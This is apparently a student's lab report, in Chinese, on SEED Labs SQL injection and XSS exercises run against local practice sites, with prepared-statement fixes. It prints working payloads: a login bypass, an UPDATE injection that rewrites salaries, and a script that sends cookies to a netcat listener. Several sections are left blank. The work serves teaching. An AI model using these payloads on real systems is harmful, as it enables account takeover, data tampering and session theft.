20232906 2023-2024-2 《網絡與系統攻防技術》第十次作業
1.實驗內容
一、SEED SQL注入攻擊與防御實驗
我們已經創建了一個Web應用程序,并將其托管在http://www.seedlabsqlinjection.com/(僅在SEED Ubuntu中可訪問)。該Web應用程序是一個簡單的員工管理應用程序。員工可以通過此Web應用程序查看和更新數據庫中的個人信息。此Web應用程序主要有兩個角色:管理員是特權角色,可以管理每個員工的個人資料信息。員工是一般角色,可以查看或更新自己的個人資料信息。完成以下任務:
- 熟悉SQL語句: 我們已經創建了一個名為Users的數據庫,其中包含一個名為creditential的表。該表存儲了每個員工的個人信息(例如,eid,密碼,薪水,ssn等)。在此任務中,您需要使用數據庫來熟悉SQL查詢。
- 對SELECT語句的SQL注入攻擊:上述Web應用存在SQL輸入漏洞,任務是在不知道密碼的情況下登陸該Web應用程序。
- 對UPDATE語句的SQL注入攻擊:通過員工的更新個人界面實施UPDATE語句的SQL注入攻擊。
- SQL對抗:修復上述SQL注入攻擊漏洞。
二、SEED XSS跨站腳本攻擊實驗(Elgg)
為了演示攻擊者可以利用XSS漏洞做什么,我們在預先構建的Ubuntu VM映像中設置了一個名為Elgg的Web應用程序。在本實驗中,學生需要利用此漏洞對經過修改的Elgg發起XSS攻擊,攻擊的最終目的是在用戶之間傳播XSS蠕蟲,這樣,無論是誰查看的受感染用戶個人資料都將被感染。
- 發布惡意消息,顯示警報窗口:在您的Elgg配置文件中嵌入一個JavaScript程序,以便當另一個用戶查看您的配置文件時,將執行JavaScript程序并顯示一個警報窗口。
- 彈窗顯示cookie信息:將cookie信息顯示。
- 竊取受害者的cookies:將cookie發送給攻擊者。
- 成為受害者的朋友:使用js程序加受害者為朋友,無需受害者干預,使用相關的工具了解Elgg加好友的過程。
- 修改受害者的信息:使用js程序使得受害者在訪問Alice的頁面時,資料無需干預卻被修改。
- 編寫XSS蠕蟲。
- 對抗XSS攻擊。
2.實驗過程
2.0 環境配置
-
這次實驗需要使用SEEDUbuntu-16.04-32,可以通過DigitalOcean鏈接下載,下載后解壓即可得到.vmdk文件。
-
在Vmware中選擇“創建新的虛擬機”——“自定義”——Workstation14.x——“稍后安裝操作系統”——“Linux”——“Ubuntu”——位置隨意——處理器2內核1——內存2048MB——“網絡地址轉換”——“LSI Logic”——“SCSI”——“使用現有虛擬磁盤”——選擇步驟1解壓的文件中的“SEEDUbuntu-16.04-32bit.vmdk”完成創建。
-
開機后,點擊“虛擬機(M)”——安裝Vmware Tools
-
在左邊欄中點擊DVD圖標,找到其中的壓縮包tar文件,將其復制到home目錄下,如圖一所示。
圖一 復制壓縮包 -
雙擊壓縮包并點擊“Extract”進行解壓,然后進入解壓得到的文件夾中,鼠標右鍵——“Open in Terminal”,然后在終端中輸入命令
sudo ./vmware-install.pl
,在安裝過程中,遇到【Y/N】輸入y,遇到其他提示直接按回車,安裝結束后重啟虛擬機即可完成安裝。
2.1 SEED SQL注入攻擊與防御實驗
2.1.1 基礎知識
- SQL(Structured Query Language)是“結構化查詢語言”,它是對關系型數據庫的操作語言。它可以應用到所有關系型數據庫中,例如:MySQL、Oracle、SQL Server 等。
- SQL注入是一種非常常見的數據庫攻擊手段,SQL注入漏洞也是網絡世界中最普遍的漏洞之一。 SQL注入其實就是惡意用戶通過在表單中填寫包含SQL關鍵字的數據來使數據庫執行非常規代碼的過程。這個問題的來源是,SQL數據庫的操作是通過SQL語句來執行的,而無論是執行代碼還是數據項都必須寫在SQL語句之中,這就導致如果我們在數據項中加入了某些SQL語句關鍵字(比如說SELECT、DROP等等),這些關鍵字就很可能在數據庫寫入或讀取數據時得到執行。
2.1.2 熟悉SQL語句
-
首先我們熟悉一下SQL語句的使用,在SEED Ubuntu中輸入命令
mysql -u root -p
,然后回車并輸入密碼seedubuntu登錄數據庫,如圖二所示。-u:指定用戶名
-p:指定密碼。
圖二 登錄MySQL數據庫 -
輸入命令查詢Users數據庫中的數據表,并使用命令讀取數據表中的字段,每行分別輸入回車執行,如圖三所示。
use Users; //切換到Users數據庫 show tables; //查詢Users數據庫中的數據表 select * from credential; //查詢credential表中的條目
圖三 查詢Users數據庫中的數據表
2.1.3 對 SELECT 語句的SQL注入攻擊
-
SELECT 語句用于從數據庫中選取數據。結果被存儲在一個結果表中,稱為結果集。
-
2.1.2中的數據表是http://www.seedlabsqlinjection.com/使用的數據,我們訪問該網站,隨意輸入用戶名和密碼,網站提示如圖四所示。
圖四 隨意輸入用戶名和密碼后網站提示 -
單擊“F12”——“Network”,然后刷新網頁,可以發現用戶名和密碼通過GET請求(通過URL的傳參也可以看出)提交至unsafe_home.php頁面進行身份檢驗,如圖五所示。
圖五 查看網絡流量 -
據上述分析,我們檢查一下unsafe_home.php的相關代碼,在終端中使用命令
vim /var/www/SQLInjection/unsafe_home.php
,結果如圖六所示。首先檢查了一下Session確認是否已經登錄,然后和Users數據庫建立連接,并從credential表中查找用戶輸入的用戶名和密碼組合是否存在。
圖五 unsafe_home.php -
繼續往下看,可以發現如圖六所示代碼,如果用戶為Admin,則會輸出所有用戶的信息。
圖六 判斷是否為管理員 -
其中,我們要注入的SQL查詢為:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd';
-
在SQL語句中,“#”表示注釋,如果我們的用戶名輸入為“Admin’#”,則SQL查詢變為:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admin'#' and Password='$hashed_pwd';
不難看出
' and Password='$hashed_pwd'
被當作注釋而無法發揮作用,所以只需要輸入用戶名:Admin'#
即可進入該網站的管理員界面,如圖七所示,同理將用戶名換為[數據表中6用戶名之一]'#
既可以登入對應用戶的賬戶:
圖七 成功進行SQL注入攻擊
2.1.4 對 UPDATE 語句的SQL注入攻擊
-
UPDATE 語句用于更新表中已存在的記錄。
-
按照2.1.3的分析,我們輸入用戶名
Alice'#
登入Alice的賬戶,如圖八所示。
圖八 通過SQL注入攻擊登入Alice賬戶 -
單擊“F12”——“Network”,然后單擊“Edit Profile”然后直接點“Save”,如圖九所示,瀏覽器將修改后的數據傳入unsafe_edit_backend.php中進行處理。
圖九 數據傳入unsafe_edit_backend.php中處理 -
在終端中輸入命令
vim /var/www/SQLInjection/unsafe_edit_backend.php
查看對應的代碼,如圖十所示。正常情況下員工可以修改自己的昵稱、右鍵、地址、密碼和電話號碼。
圖十 unsafe_edit_backend.php -
其中,我們要注入的SQL語句為:
UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;
-
在 NickName 一欄輸入
', salary='1000' where Name='Alice';#
,則SQL查詢變為:UPDATE credential SET nickname='', salary='1000' where Name='Alice';#,email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;
這樣便可以成功修改Alice的工資金額為1000,如圖十一所示:
圖十一 成功修改Alice的工資金額 -
同理在 NickName 一欄輸入
', salary='1000' where Name='[其他用戶名]';#
,則SQL查詢變為:UPDATE credential SET nickname='', salary='1000' where Name='[其他用戶名]';#,email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;
這樣甚至可以修改其他人的工資金額,將salary換成Password則可以修改其他用戶的密碼,這里不再演示。
2.1.5 SQL對抗
- SQL注入漏洞存在的原因是代碼和數據沒有隔離。程序沒有對SQL語句進行檢查,并禁止出現“;”、“#”等可能導致SQL注入的符號,因此產生了漏洞。
- 我們可以使用預處理語句阻止上面分析的兩種SQL注入攻擊。
- 對于unsafe_home.php,我們對SELECT語句進行預處理,修改如下:
//原來的php代碼: $sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd';";//修改后的php代碼: $sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?;"); $sql->bind_param("ss", $input_uname, $hashed_pwd);
- 對于unsafe_edit_backend.php,我們也對UPDATE語句進行預處理,修改如下:
//原來的php代碼 if($input_pwd!=''){ // In case password field is not empty. $hashed_pwd = sha1($input_pwd); //Update the password stored in the session. $_SESSION['pwd']=$hashed_pwd; $sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;";}else{ // if passowrd field is empty. $sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;"; }//修改后的php代碼: if($input_pwd!=''){ // In case password field is not empty. $hashed_pwd = sha1($input_pwd); //Update the password stored in the session. $_SESSION['pwd']=$hashed_pwd; $sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,Password=?,PhoneNumber=? where ID=$id;"); $sql->bind_param("sssss", $input_nickname, $input_email, $input_address, $hashed_pwd, $input_phonenumber); }else{ // if passowrd field is empty. $sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;"); $sql->bind_param("ssss", $input_nickname, $input_email, $input_address, $input_phonenumber); }
2.2 SEED XSS跨站腳本攻擊實驗
2.2.1 基礎知識
跨站腳本攻擊XSS(Cross Site Scripting),為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意Script代碼,當用戶瀏覽該頁面時,嵌入Web里面的Script代碼會被執行,從而達到惡意攻擊用戶的目的。
XSS分為:存儲型 、反射型 、DOM型三種
- 存儲型XSS:存儲型XSS,持久化,代碼是存儲在服務器中的,如在個人信息或發表文章等地方,插入代碼,如果沒有過濾或過濾不嚴,那么這些代碼將儲存到服務器中,用戶訪問該頁面的時候觸發代碼執行。這種XSS比較危險,容易造成蠕蟲,盜竊cookie
- 反射型XSS:非持久化,需要欺騙用戶自己去點擊鏈接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),一般容易出現在搜索頁面。反射型XSS大多數是用來盜取用戶的Cookie信息。
- DOM型XSS:不經過后端,DOM-XSS漏洞是基于文檔對象模型(Document Objeet Model,DOM)的一種漏洞,DOM-XSS是通過url傳入參數去控制觸發的,其實也屬于反射型XSS。
2.2.2 發布惡意消息,顯示警報窗口
-
我們訪問http://www.xsslabelgg.com/,使用Alice的身份登錄,用戶名為
Alice
,密碼為seedalice
。 -
如圖十二所示,點擊“Alice”——“Edit Profile”,然后在“Brief description”中寫入以下內容:
<script>alert("xss");</script> //彈出警告窗口,顯示“xss”
圖十二 在Brief description中寫入js代碼 -
點擊“Save”保存后,之后每次訪問http://www.xsslabelgg.com/profile/alice都會彈出xss的alert窗口,如圖十三所示。
圖十三 每次訪問Alice的主頁都會彈出xss的alert窗口 -
同樣,我們使用Boby的身份登錄該系統,點擊“More”——“Members”,則也會看到xss的彈窗,如圖十四所示。
圖十四 其他人都會受此影響
2.2.3 彈窗顯示 cookie 信息
-
按照2.2.2的操作流程,把填入“Brief description”中的內容改為:
<script> alert(document.cookie);</script>
即可彈窗顯示cookie信息,如圖十五所示。
圖十五 彈窗顯示了用戶當前的cookie信息
2.2.4 竊取受害者的 cookies
-
當JavaScript插入img標簽時,瀏覽器會嘗試從src字段中的URL加載圖片,這一過程有HTTP GET請求發送到對應的URL,據此我們可以編寫js代碼,如下所示。
<script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>'); </script>
-
我們把這段js代碼還是寫入“Brief description”中,然后開啟終端并輸入命令
nc -l 5555 -v
監聽5555端口。-l:用于指定nc將處于偵聽模式,即作為server偵聽指定端口。
-v:輸出交互或出錯信息。 -
之后只要有用戶訪問Alice的主頁,netcat就會接收到該用戶的cookie,如圖十六所示。
圖十六 netcat接收到了cookie信息
2.2.5 成為受害者的朋友
2.2.6 編寫 XSS 蠕蟲
2.2.7 對抗 XSS 攻擊
3.問題及解決方案
-
問題1:***
-
問題1解決方案:***
4.學習感悟、思考等
參考資料
- SEED Labs - Wenliang Du
- 入坑解讀 | 什么是SQL注入? - 信息安全發送者
- execstack_0.0.20131005-1+b10_amd64.deb